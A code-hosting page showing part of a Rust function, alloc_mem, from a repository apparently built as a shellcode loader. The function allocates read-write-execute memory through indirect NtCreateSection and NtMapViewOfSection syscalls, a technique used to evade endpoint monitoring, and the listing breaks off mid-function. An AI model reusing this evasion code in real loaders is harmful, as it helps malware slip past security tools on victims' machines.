MCPcopy Create free account
hub / github.com/echQoQ/RustSL / alloc_mem

Function alloc_mem

src/alloc_mem/section_syscall.rs:31–97  ·  view source on GitHub ↗
(size: usize)

Source from the content-addressed store, hash-verified

29
30#[allow(dead_code)]
31pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
32 // Constants
33 const SECTION_ALL_ACCESS: u32 = 0xF001F;
34 const PAGE_EXECUTE_READWRITE: u32 = 0x40;
35 const SEC_COMMIT: u32 = 0x0800_0000;
36 // ViewUnmap = 2
37 const VIEW_UNMAP: u32 = 2;
38
39 // NtCreateSection via indirect syscall
40 let create_type: NtCreateSection;
41 #[allow(unused_assignments)]
42 let mut create_status: Option<i32> = None;
43 let mut section_handle: *mut c_void = ptr::null_mut();
44 let mut max_size: i64 = size as i64;
45
46 dinvoke::execute_syscall!(
47 "NtCreateSection",
48 create_type,
49 create_status,
50 &mut section_handle as *mut *mut c_void,
51 SECTION_ALL_ACCESS,
52 ptr::null_mut(),
53 &mut max_size as *mut i64,
54 PAGE_EXECUTE_READWRITE,
55 SEC_COMMIT,
56 ptr::null_mut(),
57 );
58
59 if create_status != Some(0) || section_handle.is_null() {
60 return Err(match create_status {
61 Some(code) => format!("NtCreateSection failed: 0x{:x}", code),
62 None => "NtCreateSection syscall execution failed".to_string(),
63 });
64 }
65
66 // NtMapViewOfSection via indirect syscall
67 let map_type: NtMapViewOfSection;
68 #[allow(unused_assignments)]
69 let mut map_status: Option<i32> = None;
70 let mut base_addr: *mut c_void = ptr::null_mut();
71 let mut view_size: usize = size;
72
73 dinvoke::execute_syscall!(
74 "NtMapViewOfSection",
75 map_type,
76 map_status,
77 section_handle,
78 (-1isize) as *mut c_void, // Current process pseudo-handle
79 &mut base_addr as *mut *mut c_void,
80 0,
81 size,
82 ptr::null_mut(),
83 &mut view_size as *mut usize,
84 VIEW_UNMAP,
85 0,
86 PAGE_EXECUTE_READWRITE,
87 );
88

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected